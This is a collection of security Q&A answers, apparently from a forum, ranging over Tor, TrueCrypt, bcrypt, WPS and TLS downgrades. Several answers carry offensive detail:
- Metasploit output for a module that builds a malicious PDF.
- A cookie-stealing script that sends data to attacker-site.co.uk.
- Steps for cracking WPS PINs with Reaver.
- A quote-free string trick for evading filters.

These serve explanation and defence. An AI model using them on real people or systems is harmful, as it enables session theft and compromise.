How to minimise risk to sensitive data in temp files in shared hosting environment before encryption?

If you don't control the hardware, the risk is huge no matter what you do.  The values could be pulled straight out of a memory dump if someone really wanted.  Even if you manage to make the temp file exist for only a short time, you still have to worry about securely deleting it as a file deletion doesn't actually wipe the data, it just marks the space as available.  It is, in fact, probably more dangerous to delete the file as the sectors then become available for another user to grab potentially.  You pretty much have to trust the hosting provider to provide the isolation and have to make sure you securely wipe the file after you are done with it.


How do I store a user's secret key on a server?

(Disclaimer: I'm a "security student" myself, so I'm not 100% sure if this is correct.)

I don't understand why you would want to keep private keys on the server after they are transferred to the user. There is no use for them. If they are lost - create new ones.

Keys have a public and a private part. The public part can really be public and may be published on the web.

Private keys should be kept private, and this should mean that users have their keys on their own machine (laptop, phone etc), maybe even a unique key for each machine. They should be instructed how to keep that key safe there. A password comes to mind. If you create the keys for the user on your server, you need a way to get the private key safely to the user. This can be done locally, over SSH, or via USB stick, etc. Create the keys right before you transfer them, then delete them.

Maybe I'm missing something, a good reason to keep the keys on the server - then please explain why.


How can one using Tor and a Virtual Machine be traced?

You are conflating a lot of concepts together, so let me try to separate them.

Virtual machines are a convenience of many purposes but enhancing anonymity is not one of them. Yes  using a browser in a VM will give different indicators such as User-Agent and Fingerprint, but that’s just another set of tracking variables. It’s extremely difficult to configure your own browser for privacy. When browsing with Tor, you should be using the Tor Browser Bundle (TBB). TBB has all of the security levels configured for you as well as some privacy capabilities completely lacking in other browsers. It’s designed to look like the same TBB everyone else is using.

Theoretically Tor is indeed traceable and the Tor project will confirm that. The details however make it very very difficult. In general it requires monitoring or control of multiple nodes in multiple countries that are themselves changing. Tor is designed to resist a nation state level of effort. Multiple nation states working together can at least partially defeat Tor, but that is a high bar.

Last but not least, Tor doesn’t protect you from giving away your identity. If you login to an account both with and without Tor, you’ve correlated the two.

Tor is an anonymity transport mechanism. It will transport anything, including identifying information if that’s what you feed it. TBB is a browser configured to protect privacy and use Tor transport, use them together!

Also, you (or TBB) define and setup the multihop Tor circuit. Your machine knows the full path to a web page (not an .onion). Any sufficiently privileged code or trojan on your machine can see it as well.

Tor is not perfect, but it’s very good if used carefully.


Is TrueCrypt not secure now and should I stop using it?

At this point, it is still unclear. Speculation runs rampant as to whether it's a defacement or official retirement.

That said, it is noteworthy that the latest version of TrueCrypt (before the 7.2 version that's now posted) is over two years old. Also no apparent efforts have been made to support whole-disk encryption on Windows 8, which even older than TrueCrypt 7.1a if you count in the publicly-available pre-release versions of the former.

Many Windows 8 users who used to rely on TrueCrypt are probably already migrated to Bitlocker for whole-disk encryption, so moving the rest of their TrueCrypt-protected data (if they haven't already) is a logical next step anyway. For anyone else, it would probably be preferable to wait until this whole mess is cleared up.

The first phase of the TrueCrypt audit, covering the bootloader and Windows kernel drivers, turned up less than a dozen vulnerabilities - the worst of which were rated as "Medium" severity. The report also said the source code "did not meet expected standards for secure code".

One of their recommendations mentioned:

  Due to lax quality standards, TrueCrypt source is difficult to review and
  maintain. This will make future bugs harder to find and correct.

Another note stated:

  The current required Windows build environment
  depends on outdated build tools and software packages that are hard to get from trustworthy
  sources

All of this, along with the two-year lapse in new releases and lack of full support for the latest OSs, does lend to the easy belief that TrueCrypt's team may indeed be throwing in the towel. If they did choose to do that, then TrueCrypt would in fact become insecure in very much the same way as Windows XP now is - any newly discovered security vulnerabilities would not be patched. A key difference between TrueCrypt and Windows XP however, is that compatible alternatives may still be developed and updated since TrueCrypt is open-source software.

Still, the very sudden and unexpected announcement is definitely worth some amount of skepticism. Until there's been further validation of the news, I would suggest that you not trust anything posted on TrueCrypt's website or SourceForge page - especially not the new "7.2" download.

Update: 2014-05-29 0645Z

Brian Krebs has reported on the issue, and given some sound reasoning as to why this is not likely a hoax. Additionally, he mentions that the people behind IsTrueCryptAuditedYet.com will continue their work despite the software project's current status.

Speculation still runs rampant online of course. However, though the continued anonymity of the TrueCrypt development team makes any undeniably authentic confirmation of their status nigh impossible. Matthew Green made a fair point in this tweet though:

  But more to the point, if the Truecrypt signing key was stolen & and the TC devs can't let us know -- that's reason enough to be cautious.

Really, regardless of the signing key's status specifically, the fact that the TrueCrypt developers can't (or at least so far appear to not even have made any efforts to) issue any separate and authoritative communication to validate what's happened to their website should be enough to raise significant concern. If the TrueCrypt team is calling it quits, it's time to move on and find/make alternatives. If not, their lack of out-of-band response to this incident raises serious questions (more so now than ever) as to how much we can really trust them to maintain the sort of software we want to trust with our most valuable secrets.

Regardless of the status either way, it's probably best to seek alternative solutions. The recommendations on the TrueCrypt site aren't bad in general. However, they fall short of a few features TrueCrypt was known and loved for:

Cross-platform compatibility
Plausible deniability
Hidden partitions
Encrypted container files (you can do this with Bitlocker and VHDs, but it's not nearly as smooth and seamless as with TrueCrypt)

Update: 2014-05-29 1450Z

Jack Daniel has summed up my feelings on the topic quite well now, in a recent tweet:

  So, yeah: hack, troll, ragequit, whatever- silence means TrueCrypt org can't be trusted, so neither can TrueCrypt. Damn.

Update: 2014-05-30 1545Z

GRC has posted claims that the TrueCrypt developers have been heard from, via Steven Barnhart.

https://www.grc.com/misc/truecrypt/truecrypt.htm

If the source can be believed (again, the public anonymity of the TrueCrypt development team makes certain authentication nearly impossible) then TrueCrypt is indeed no longer being actively worked on by the original team. Additionally, the license prevents anyone else from legitimately being allowed to write a new "TrueCrypt" (though it is possible they may be able to fork it under a different name).

One important thing to note, though GRC perhaps is a bit overly dramatic about it and may even be over-stating its value, is that the latest fully-functional version of TrueCrypt (7.1a) is - to public knowledge - still "safe" to use. Until such time as significant, and exploitable, vulnerabilities are discovered there's really no reason to consider 7.1a as inherently any more "unsafe" at the time of the truecrypt.org announcement than it was at any time before.

That said, one must also bear in mind (as noted earlier in this post) that any discovered vulnerabilities in TrueCrypt 7.1a will not be fixed in any future releases. Thus, it is still wise to begin seeking other alternatives. The same holds true here as it does for Windows XP - the only substantial difference being that XP has a much higher profile and will very likely accrue a very long list of un-patchable vulnerabilities (some likely exist already) much more quickly.

The Open Crypto Audit Project has tweeted a link to a "trusted archive" of TrueCrypt versions for those seeking older copies no longer available on truecrypt.org:

https://github.com/DrWhax/truecrypt-archive

Thanks to @Xander for pointing out the GRC article.


For me, the solution was, that I disabled the DNS through socks:

in /etc/proxychains.conf file, just add a # before the line "proxy_dns"


How to view all the certificates that are loaded in to Chrome or any browsers or in to the OS?

Linux: Exact method is distro dependent. There are answers at https://unix.stackexchange.com/questions/97244/list-all-available-ssl-ca-certificates

Windows has no built-in viewer available, but there are third-party decoders such as CTLInfo (website).

Firefox: Tools > Options > Advanced > Certificates > View Certificates > Authorities.

Some quick stats you may find interesting: As of today, based on a quick manual count, Windows trusts 362 root CAs. MacOS/iOS trusts 175 root CAs. Firefox trusts 160 root CAs. Android trusts 147 root CAs.


Does biometric authentication in Android transfer any biometric data to the app?

No. Biometrics never leave hardware-backed keystore (TEE). Apps use android Biometric API to authenticate the user. Biometric is verified by hardware-backed keystore which answers authentication result with success or failure to the API.
As it's a system API, apps implicitly trust the authentication result. To ensure that it's not a fraudulent TEE verifying the biometrics, you can verify the legitimacy of hardware-backed keystore using hardware-backed key attestation.
In app authentication usually protects apps' secrets that are stored inside TEE. Faking the API response by memory corruption will not expose the secrets as TEE doesn't release secrets until user authentication succeeds.


An XML file holding user credentials is a database. The definition of a database isn't limited to MySQL (or whatever it is you had in mind).

How users are authenticated and where exactly their credentials are stored are two entirely separate concerns. A bcrypt hash is a bcrypt hash, regardless of whether it's stored in a plaintext file, a MySQL table or a MongoDB document.

Of course different types of database systems work differently and required different ways of updating and loading data, but this has nothing to do with user authentication specifically. Those are general issues of data storage.


How to compare hashes with bcrypt when the salt is different?

The sender needs to send the salt along with the hash so that the receiver uses the same salt when computing the bcrypt hash.

That said, bcrypt is designed to be a password hashing function, it's not meant to be used inside an HMAC. There is no need to use a salted hash with an HMAC, so I would suggest you use HMAC-SHA256.


Which unicode (control) characters should a web app (not) accept?

Accept them all, just encode them into a safe format upon receipt. Furthermore, if you are asking this question, I would first consult an encoding library for a basic implementation before moving on. Encoding can be trickier than you think, and I see custom implementations fail all the time.

In many cases, it is not the character itself that is problematic, but how it fits into a group of characters.

So I shall refrain from giving you list, as it shall be extensive, and not lead you to success. If this is for production, use a peer reviewed code base to do your filtering and encoding. If this is for the purpose of writing a library, study one of those peer reviewed code bases.

Just to be clear:
On the way in data should be sanitized, to prevent injection (make sure and use parametrized queries as well.)
On the way out data should be encoded, to prevent XSS.

Most modern Web Frameworks have a decent encoder class. If you use Java check out the implementation that OWASP provides: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project


As a preamble for other readers, note that the WPS vulnerability was made possible because of the way it was designed by the WiFi Alliance, not as a vulnerability with WPA2 itself. A good write-up on the WPS vulnerability is here. In a nutshell, the goal of it was originally to require 100,000,000 authentication attempts to brute-force the 8-digit pin, but the way it was implemented only used the first 7 parts of the pin, and only authenticated the 8-digit pin in halves (first 4 digits of the pin first, then the last 3 + checksum), effectively reducing the brute-force worst-case attempts to 11,000 (10^4 + 10^3).
So with WiFi Direct (also created by the WiFi Alliance), the goal is to get rid of the access point altogether and incorporate it into the computer. Essentially, the system's wireless NIC is able to act as both an AP and a bridge - a feature available in some third-party wireless NICs already (e.g., Alfa cards and their client software). Like you mentioned, the WPS setup occurs between two devices using WiFi Direct. If configured using the PIN-based WPS, then a non-physical attack with Reaver is possible. The other WPS methods (push-button, NFC) will require physical access to the device acting as an AP.
So let's say you've successfully attacked the PIN and retrieved it. "Would they be able to eavesdrop on and slurp the traffic of the session?" Yes, but it would still be encrypted. WiFi direct requires WPA2 or the "latest WiFi security." WPA2 encrypts every session dynamically using the extensible authentication protocol (EAP). If you've cracked the PIN with Reaver and gained access, your next move would be to disconnect and force a re-connect of the connected client. This will force a new exchange of the EAP keys (seen as EAPOL in Wireshark). I believe you need the first half of the four-way EAP handshake to properly decrypt the traffic, but preferably the first 3 or even all four of the packets. You'll need these EAP keys for every session you attempt to decrypt, and remember, every session between every client has a different EAP exchange. Otherwise, even with a cracked PIN, or some other method you use to gain access to the WPA2-protected network, you will still be unable to view the contents of the traffic.
"Would it yield a WPA2 key or passphrase that could be reused to attack the same workstation, set-top box, or whatever again and again?" Yes, if you've configured one. A successful Reaver crack will yield the WPA passphrase anyway.
How do I prevent this? As many people and sites have already pointed out, don't use PIN-based WPS. Go the inconvenient route, even with WiFi Direct, and use the traditional SSID and complex passphrase.


How is Gmail susceptible to brute-force attacks?

For starters, that article misuses terminology.

Whatever vulnerability they may be referring to it seems pretty blatant that it is not "brute force" as that would contradict the premise of that very sentence. As another answer suggested it's possible that some form of social engineering was employed, but in this case any rounds of "guessing" left would not be brute force at all but would be cleverly leveraging known data points.

Additionally, it misidentifies the most likely security failure.

Altogether more likely in the case described in the article is a compromised database on another site. The article specifically allows for this when it says "if it didn’t leak from some other site", implying that his wife does not use unique passwords per site. If you don't use unique passwords1 then all bets are off2 and you cannot blame Google if your Gmail account is compromised3 that all your stuff is only as safe as the weakest site you use—a least-common-denominator approach that is bound to get you int trouble as for any given set of sites it is almost guaranteed that one of them has mishandled user data!

1. You should. Full stop.

2. In addition to (but not in place of) using unique passwords, enabling two-factor authentication would also mitigate against this attack vector.

3. Note again the terminology issue here. A compromised account (as in my usage) is different than a hacked account (as in the article's usage). In the most likely scenario the Gmail account was not hacked—no security measure at Google failed—the attacker was merely able to login with the password they hacked from somewhere else.


What's the limit on the size of the data that public-key cryptos can handle?

In order to answer your question, your misconceptions must be corrected first. In most cases, padding in RSA adds 11 bytes to the message. So, using a 1024-bit key, you'll have 117 bytes available for the message. That's why RSA isn't usually used to encrypt messages, it's mostly used to encrypt symmetric keys used to encrypt messages. This is called a hybrid cryptosystem.

For example, in PGP, a symmetric key (sK) is created, the message is encrypted with sK, then sK is encrypted with the public key, and both (the encrypted message and the encrypted sK) are sent to the recipient. The recipient will use his private key to decrypt sK and use that to decrypt the message.

Technically speaking, there's no limit on the size of the message PGP (and, consequently, OpenPGP.js) can handle. Limitations might come from the amount of available memory, the amount of memory utilizable by the browser, etc.


With the module loaded, type info at the console prompt. You'll see what it expects. The INFILENAME is the path with the existing PDF to use and the FILENAME is the filename to export the malicious PDF as.

msf exploit(adobe_pdf_embedded_exe) > info

       Name: Adobe PDF Embedded EXE Social Engineering
     Module: exploit/windows/fileformat/adobe_pdf_embedded_exe
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-29

Provided by:
  Colin Ames <amesc@attackresearch.com>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)

Basic options:
  Name            Current Setting                                                                                Required  Description
  ----            ---------------                                                                                --------  -----------
  EXENAME                                                                                no        The Name of payload exe.
  FILENAME        evil.pdf                                                                                no        The output filename.
  INFILENAME      /pentest/exploitation/metasploit/data/exploits/CVE-2010-1240/template.pdf                           yes       The Input PDF filename.
  LAUNCH_MESSAGE  To view the encrypted content please tick the "Do not show this message again" box and press Open.  no        The message to display in the File: area

Payload information:
  Space: 2048

Description:
  This module embeds a Metasploit payload into an existing PDF file.
  The resulting PDF can be sent to a target as part of a social
  engineering attack.

References:
  http://cvedetails.com/cve/2010-1240/
  http://www.osvdb.org/63667
  http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/
  http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/
  http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
  http://www.adobe.com/support/security/bulletins/apsb10-15.html


First, what you are initially describing is not two factor authentication.  It is two instances of "what you have".  The phone contains a token, so you have to have the phone with the token.  The phone also receives SMS messages, so you have to have the phone.  Not only is it two things you must have (TFA must be two different factors), but it is the same thing that they must have, rendering it completely useless to do both.

Second, biometrics is not likely practical.  You would need a common client that would be available on all the devices and designing such an interface would be technically complicated (most likely requiring a third party software).  Why not just use a password?  That's something the user knows and would be another factor.  If you have two factors, it is generally not considered worth it to bother with a third unless it is trivial to do so, and in this case, it is not.


Client sent certificate with zero bytes but ssl is working fine

A certificate with 0 bytes is sent by the client if the server requests a certificate but the client has no certificate. How the server deals with the empty certificate depends on the configuration:

With apache you can set the option SSLVerifyClient to optional to require a certificate but accept an empty one too. If you instead set it to require it should fail if only an empty certificate gets provided. Other servers have similar options.


OWASP has some very good guidelines concerning the security of REST services.


Hashing bcrypt password hash for use as a password reset token

This system works, though it's needlessly expensive for your server. Bcrypt is designed for low-entropy inputs that are stored long-term where there's a risk that an attacker will see the digest. That doesn't apply here; the bcrypt digest is technically low-entropy but not dangerously so on the timescale in question (I assume you're looking at a very narrow window, since you mention expiry in "minutes"), and if the attacker could breach the reset token this way they wouldn't need it anyhow (they'd have the password). Besides, you're not storing the result anyhow.
A simple hash (a single round of SHA256 or similar, over the current password hash) is perfectly sufficient and much less computationally expensive. If you want to avoid multiple reset tokens having the same secret in them even when one isn't used, you can salt the hash with a random value, but I don't think that actually adds anything; the actual secret is the JWT signing key and you could, in theory, leave the hash of the password hash out of it entirely! The only reasons to add it are to invalidate existing password reset tokens once the password changes, and to make it more difficult to forge the reset tokens if your signing key leaks (only relevant if your signing key is not also used to sign access tokens). Neither of those uses care whether the hash value is the same across multiple tokens for the same user or not. There's certainly no benefit to using a consistent field (like the userid or creation timestamp) as a salt.

The conventional approach here, assuming you can't alter the existing table, is just to create a new one for the reset tokens. The new table would be indexed (uniqueness optional) on a foreign key to the existing users table - typically either the userid or email would make sense, assuming duplicate emails aren't allowed - and additionally contain a hashed random secret (which need only be a single round of unsalted secure hash function) and an expiry. The actual password reset tokens would only have two parts, the identifier (whatever you indexed the password reset table on) and pre-hashed secret (generated on-demand via CSPRNG for each token). Upon successful reset, you'd just DELETE FROM PasswordResetTokens WHERE TokenId = @id to invalidate any copies (or additional tokens generated for that user, if you allow multiples). A scheduled job could periodically wipe out any tokens that have expired just to keep the table size small.
Given that a password reset operation needs to interact with the DB anyhow, and isn't something you can meaningfully load-balance, there's really no advantage to making the reset token a JWT unless there's extra metadata you want to stuff in there. Even if you're already using JWTs elsewhere, such as for the session/access token, adding more seems like needless complexity. Of course, that assumes you can create a DB table; if you can't do that and can't alter the existing one, then this approach might be next best.


You could set the HttpOnly attribute to stop a webmaster from extracting the cookie via embedding some script:

<script>
new Image().src="//attacker-site.co.uk/"+escape(document.cookie);
</script>

However, they could use other methods of attacking the user such as displaying a login box and asking the user to authenticate when they try to submit a comment, grabbing the user's username and password in the process.

The only way to secure this really is to make sure you teach users to authenticate on your main domain only.

e.g. www.example.com

And have the webmaster sites on another domain.

e.g. mysite1.example.org, mysite2.example.org.

When submitting a comment, each site would make an AJAX request to www.example.com which checks authentication and then saves the comment if authenticated. This would prevent webmasters having access to the cookie, and if they try to ask the user for credentials it will be from another origin (domain) therefore clued-up users should not submit them to the webmaster site.


How much protection is really offered by TLS_FALLBACK_SCSV?

I'm researching the extent to which TLS_FALLBACK_SCSV protects against Cipher Suite Downgrade attacks. I understand that the correct way to protect is to remove support for the insecure cipher suites.

TLS_FALLBACK_SCSV is about protocol downgrades and not about cipher suites downgrades. Don't confuse this with Logjam where the the cipher suite gets downgraded. Protocol downgrades can be fixed if you disable the protocol on the server but then you might get problems with older clients which do not support the newer protocol. That's why TLS_FALLBACK_SCSV was introduced to protect the newer browsers supporting this flag while maintaining compatibility with older browsers, even though they don't get the fallback protection.

  My understanding is that if the client (usually the browser, but also WEB-DAV, SVN, SQL clients, and others) doesn't support it, then the TLS_FALLBACK_SCSV flag does nothing.

You are right that TLS_FALLBACK_SCSV is only relevant with clients which do support this option, which includes at least Chrome and Firefox.  But to make this option useful it needs to supported by both client and server: The client sets the flag if it downgraded the protocol because the better version did not work (i.e. use TLS 1.0 instead of TLS 1.2) and the server must complain if the client set this flag even though the server would have support the better protocol version.

  So, is that reassuring Green Bar on ssllabs misleading?

This bar should not be interpreted as "safe against all kind of SSL protocol downgrades" but "safe against all SSL protocol downgrades which can be detected with TLS_FALLBACK_SCSV". And in no way it should be read as "safe against all downgrades" because it explicitly mentions protocol downgrades (and not cipher downgrades like Logjam).

  It seems like instead of implementing SCSV, some browsers just opted to remove SSLv3 support.

Both Chrome and Firefox use TLS_FALLBACK_SCSV to indicate SSL downgrade and also have SSLv3 disabled by default. Since there were reports of some TLS stacks being affected by POODLE even with TLSv1 and since there might be some other protocol downgrade attacks in the future unrelated to SSLv3 and since clients might have the need to re-enable SSLv3 for compatibility with some sites it is good to have this option anyway.

  ...a nice green notice even though the server in question gets an F

It should be clearly indicated why you get an F. You can do a lot of things right (like supporting TLS_FALLBACK_SCSV) and still get an F because you are using a self-signed certificate which can not be verified by the browsers.

And SSLLabs does not indicate a 100% secure site. Even with a grade of A+ it only indicates that you used the state of the art settings for setting up SSL/TLS but in a year these setting might no longer be state of the art because the state of the art changed while your site did not. This happened with deprecation of SHA-1, RC4 etc.


Can you hide your OS from programs? Can you trick a program into thinking you are on a different OS?

Cheeky answer: I think you are about to invent a Virtual Machine.

In order to spoof the hardware to look like a 2003 motherboard you'll need to deal with things like writing a CPU instruction translation layer so that the program gives 2003-era CPU binary instructions, and your layer translates them into instructions that your 2019 hardware understands.

In order to spoof the OS to look like Windows 7 32-bit, you will need to hide all the binaries and other files in C:\Windows, C:\Program Files, etc, that are clearly part of a Windows 10 install, and instead "fake" a complete file system with all the Windows 7 32-bit files. You'd also need a wrapper around the Windows 10 kernel to make the kernel APIs that are accessible to the program look and behave like the Windows 7 kernel. ie you can't really "fake" this; you basically need to emulate a fully functional install of Windows 7 32-bit inside your Windows 10.

By the time you have done all that, you will basically have invented virtual machines. So why don't you just download VirtualBox, set the hardware emulation to 2003-era hardware, and install Windows 7 32 bit on it?


Does changing my password after OAuth login in mobile app help reduce risk?

No. When an application uses and of Google's identity APIs (to include OAuth and Google+ Sign in) the application receives a token from Google indicating that you are you. Then the application signs you in.

One of the major benefits of offloading the password management to Google is that the application doesn't have to store your password (notice that at no point in the above diagram does the application receive your password).

If you decide to not allow an application access to your profile you can simply revoke access, and the token is invalidated.

Generally with all of the ID management methods the application can get mostly basic information about you. Here is a source about what the application may request for Google+ sign in.


How Create string in Java Script without single or double quote?

The simplest way to make a string without quotes would be from their char codes:

String.fromCharCode(104,101,108,108,111); // "hello"

If backticks are allowed, you could also use ES6 template strings:

`hello`; // "hello"

Another way might be to assemble the string from other strings in the environment.


Will this auth scheme be secure and protect user passwords/hashes?

Authentication Guidance

OWASP has a Password Storage Cheat Sheet with some excellent guidance on hashing schemes, and the background theory of how they keep the passwords safe. There's also a section covering the piece you seem most concerned about - protecting a user's account in the case of an eventual compromise.

For further reading, Troy Hunt has an article - Passwords Evolved: Authentication Guidance for the Modern Era - that summarizes recent update to government publications on the topic, including NIST Special Publication 800-63 - Digital Identity Guidelines.

Don't Re-Invent the Wheel

It sounds like you are trying to invent something completely new. I would recommend sticking to things that are proven. The above resources should help with that.

It's not that I see anything inherently wrong with your suggestion. I'm not a mathematician or cryptographer myself, so I wouldn't claim to have the expertise to certify your scheme as secure. It just seems like you're doing a lot of extra work, to come up with and implement a non-standard solution, which may actually make it more vulnerable in the end.

Non-standard schemes also have the disadvantage of being harder to maintain as people come on who are not aware of the details of how your scheme was constructed, what factors make it secure, and may make changes that poke holes in your security model.

Lastly, as software developers, we're usually not paid to do security research and invent new encryption or authentication schemes. Our clients or employers pay us to make measurable improvements in the state-of-the-art for their specific domain. This is just my opinion, but when it comes to implementing authentication, it would be almost negligent not to follow the guidance provided by the organizations like NIST, OWASP, and the security teams at the vendors who produce the software and libraries we use (Microsoft, IBM, Oracle, etc).


Why is it dangerous when an attacker can control the `n` parameter to `memcpy()`?

Assuming buf's size is either controlled by n or larger than 16, the attacker could make n any number he wanted and use that to read an arbitrary amount of memory.  memcpy and C in general do not throw exceptions or prevent this from happening.  So long as you don't violate any sort of page protections or hit an invalid address, memcpy would continue  merrily along until it copies the amount of memory requested.

I assume that user and this vulnerable block of code is in a function somewhere.  This likely means it resides on the stack.  All local function variables, the return address, and other information are contained on the stack.  The below diagram shows it's structure in systems using intel assembly (which most platforms use and I assume your computer does).

You would be able to get the return address using this method if you were to make n large enough to cause memcpy to move forward in the stack frame.  user would be in the section in this diagram labeled "Locally declared variables".  EBP is a 4 byte value, so if we were to read past that and them copy the next 4 bytes with memcpy, we'd end up copying the return address.

Note the the above depends on what architecture the program is running on.  This paper is about iOS, and since I don't know anything about ARM, the specifics of this information could be somewhat inaccurate.


Is it safer to use less heard of software than popular software?

Using obscure applications is, as my phrasing suggests, a form of security through obscurity. Such reasoning is false, and only leads to a false sense of security. Obscurity is not security.

Don't select your security-critical software based on how popular it is or isn't; select it based on the amount of analysis that has gone into the software, how quick the vendor is to patch security issues, and what provable security measures they offer.


No SSL between Cloudflare and S3 static site. A big security issue?

Attackers with limited reach like lokal HotSpots or smaller ISP level will not be able to read the data. The traffic they have access to is between the client and Cloudflare and thus protected by SSL. Government-level actors though might have ways to read and maybe even modify the unprotected traffic between Cloudflare and S3. This includes actors from multiple governments.
If this is "A big security issue" or not depends on the kind of data, i.e. how sensitive these are and what is at stake if they get accessed or even modified by others. Additionally there might be explicit regulations how well these specific data need to be protected.


Difference between vulnerabilities on windows/linux/mac for same program

Buffer overflows might be specific to a given target architecture; on PC and PC-like machines, it is possible that a buffer overflow exists in 32-bit mode and not in 64-bit mode, and vice versa. A buffer overflow is a programming bug: the program tries to do something that is not possible (writing more data than possibly fits in a buffer), and certainly not foreseen by the programmer. The size of both the buffer and the data which can be attempted to be written into it may depend on the characteristics of the platform, hence the possible dependency. Some buffer overflows actually occur in system libraries which are misused by the application, in which case the problem may be specific to a given operating system, and not extend to other OS where the "same" application may run.

A bug is still a bug, though -- that it fails to be demonstrated on a given architecture just means that the programmer's luck just locally exceeded his sloppiness. Also, regardless of the points above, most buffer overflows are system neutral: they occur on every system and architecture where the offending code is compiled.

Things are not that clear for all kinds of vulnerabilities. E.g., applications on Unix-like systems (this includes Linux and MacOS, but not Windows) often need to create temporary files in the /tmp directory, and the creation can often be subverted into a write access anywhere, with a symbolic link, assuming that the attacker can run code on the same machine (under a different username) and can predict the temporary file name. Failure to use a random unpredictable name for the temporary file is a vulnerability that applications may have on MacOS, but which does not appear on Windows. This is just an example; I do not want to suggest that MacOS or Linux is less secure (or, for that matter, more secure either) than Windows.

It is still a fair bet that most vulnerabilities found in Web browsers will persist on all operating systems. Web browsers are more and more self-contained, and really look like OS-within-the-OS, so their vulnerabilities tend to be their own, quite independent of the external operating system.

On the other hand, exploitation of the vulnerabilities, i.e. turning the bug into arbitrary code execution or the like, can be very system-dependent. Some OS employ various techniques in order to make life harder on the attacker, such as address space layout randomization or non-executable stacks. The buffer overflow (if the vulnerability is a buffer overflow) is still there, but ease of escalating it into a successful attack can greatly vary for the same application, not only between operating systems, but also between versions or even configuration options of a given OS. There is no reliable general rule, except that vulnerabilities shall be tracked down and eliminated whenever possible.


I do this very successfully using 2 methods:

Mix training with small 'escapes', moments that attract attention with a joke or something unrelated to the main (probably boring for them) subject. This is like hitting their refresh button.
Be interactive. Do not present your case like an advocate in a court of law. Ask them what they think, make them state their opinions on the matter and interactively explain why certain things have to be done in a certain manner.

As an intro on-top of those, you can use the Fear against them. Start your presentation by giving a disaster situation example (i.e. Dude 1 clicked on a phishing file and cause the company that many k/M$ in damage and he got fired).


Can teleworking let my boss to sniff my network traffic? What else could he do?

Fairly Safe for most purposes.

For a remote desktop tool like VNC, Citrix or Remote Desktop

These tools are more or less constrained to the graphical window on your box, they might be able to access your copy/paste buffer.

For a VPN Tool

These have the ability to, but probably wouldn't route your local PC traffic to the employers system before sending it to the internet. Their configuration may disable all other network routes. It would be a problem only while it was 'connected'. The tool wouldn't forward the rest of your family network unless you are using the PC as the network router.

BUT

This assumes that the company/boss doesn't ask you to download monitoring/spyware/software management programs onto your computer as part of the remote access deal.


Possible to Derive Private Key from Public Key Given Enough Computing Power?

I think you are confusing quite a few things here:

First of all: There are only very few crypto schemes that are perfectly secure from an information theoretic standpoint. One of these schemes is the One-time pad. One might argue that Quantum cryptography is a field that looks promising in this regard, too. However, none of these are practical and are only used by secret agencies or universities researching the topic.

In practice we are stuck with algorithms that are computationally secure. This basically includes all the things you usually have in mind when talking about cryptography, e.g. AES, RSA, DH, ECC. When the key sizes get big enough, it is infeasible with our current understanding of mathematics and technology to come up with a computer able to crack these schemes. Some of these schemes are prone to theoretical attacks based on quantum computers, although this doesn't yet matter in practice. Nevertheless there are algorithms good enough to withstand even these sort of attacks by the sheer complexity of the calculations involved.

  I thought it involved factoring prime numbers, or a similar function that's easy to compute forward, but not mathematically possible (to our current understanding) to compute in reverse, reducing cracking to a brute force scenario.

Factoring prime numbers concerns RSA, which is probably the most prevalent public key crypto system used in SSL/TLS. It is true that in theory it can be done, but it is not feasible in practice, at least when the generated keys are good enough. There have been quite a few instances in the past, where it turned out the key creation process wasn't as random as thought, making it possible to guess the private key. I recommend you to watch the following lecture from Daniel J. Bernstein, Nadia Heninger and Tanja Lange, if you want to get funny insights into how RSA can be broken in some cases.

Other schemes, such as DH are based on a completely different set of problems, e.g. the discrete logarithm problem. This has nothing to do with factoring primes, but is thought to be similarly hard, which is the reason why the key sizes are quite the same for both set of problems, e.g. 1024 - 4096 bits.

Elliptic curve cryptography (ECC) is yet another field of cryptography, that is based on a generalization of the discrete logarithm problem with the advantage that the involved keys are much smaller, while the level of security remains the same.

In essence: Yes, most of our current day crypto systems can be broken in theory, but it doesn't matter for practical purposes. With our current understanding of the math and technology involved, even government agencies like the NSA can't build computers powerful enough to crack these schemes in this way.


I logged into my work computer with my personal email, can my employer see my google search history on Chrome?

It all depends on your network setup. My company laptop requires me to connect to cooperate VPN before I can access the public internet from home or on-the-go. In this case, all my traffic is routed to the cooperate network before it breaks out to the public internet. By doing so, the company is able to enforce security policies and controls. If I were to browse the public internet, my company proxy server will log all my activities.

Some companies simply allow direct internet access from their laptops while off the cooperate network. In that case, its not easy to enforce security polices to remote users. Therefore its not easy to track user activity.

Some companies install security agents on laptops to monitor user activities. CrowdStrike is a good example. It monitors processes and files being executed on local machine (laptop), and then reports back to the cooperate network on-the-fly.


Secure tunnel set up in an office environment

You could use any VPN software to do this, for example TunnelBlick. This works in any environment, not just locked down office environments. Indeed, it is used by people under oppressive regimes that restrict normal internet access (to Facebook, Twitter etc.). The people in China and Iran, to name a couple of examples, use this method. However, there has been news that certain VPN services have been blocked by the Chinese Information Ministry, so VPNs aren't totally foolproof. But then again, most companies will not have the same IT resources as a State will have, so they are likely to work in most offices.


There are two considerable weaknesses in the live demo which make it quite trivial to break:

There are only 5 possible answers to the captcha question, so a bot has a 20% chance to solve the captcha by picking a random symbol. The demo didn't ban me after picking a wrong answer over 20 times in a row, so there is no reason why a bot can't just keep guessing until it got a correct answer by chance.
There is only a very limited set of images which are in no way altered. They appear under different URLs, but always look the same, so a bot can identify them by loading and decoding the images. Also, the system refers to each image with the same word every time. That would allow to simply tell the bot which word means which image.

Some ideas to make the captcha stronger:

Ask the user to mark multiple objects and only let them pass when they marked these and only these objects. That would make random guessing much less efficient.
Ban IP addresses for a few minutes after many wrong answers in a row
Use a much larger set of images
Use an even larger dictionary of strings to refer to them
Use image altering algorithms with randomized parameters to alienate the images a bit so it gets harder to recognize them automatically

Keep in mind that no captcha is truly unbreakable. All you can hope for is to increase the effort an attacker needs to invest to break it. But that can be all you need. Captchas are one of the few areas where security through obscurity can pay off. Spammers look for low-hanging fruits. When you use an obscure home-brewed captcha solution and aren't a particularly valuable target, many spammers will just be too lazy to figure it out. When you are a particularly valuable target, they will just hire a bunch of people from a 3rd world country to solve your captchas. And you can not defend against this without also making your website unusable for regular users.


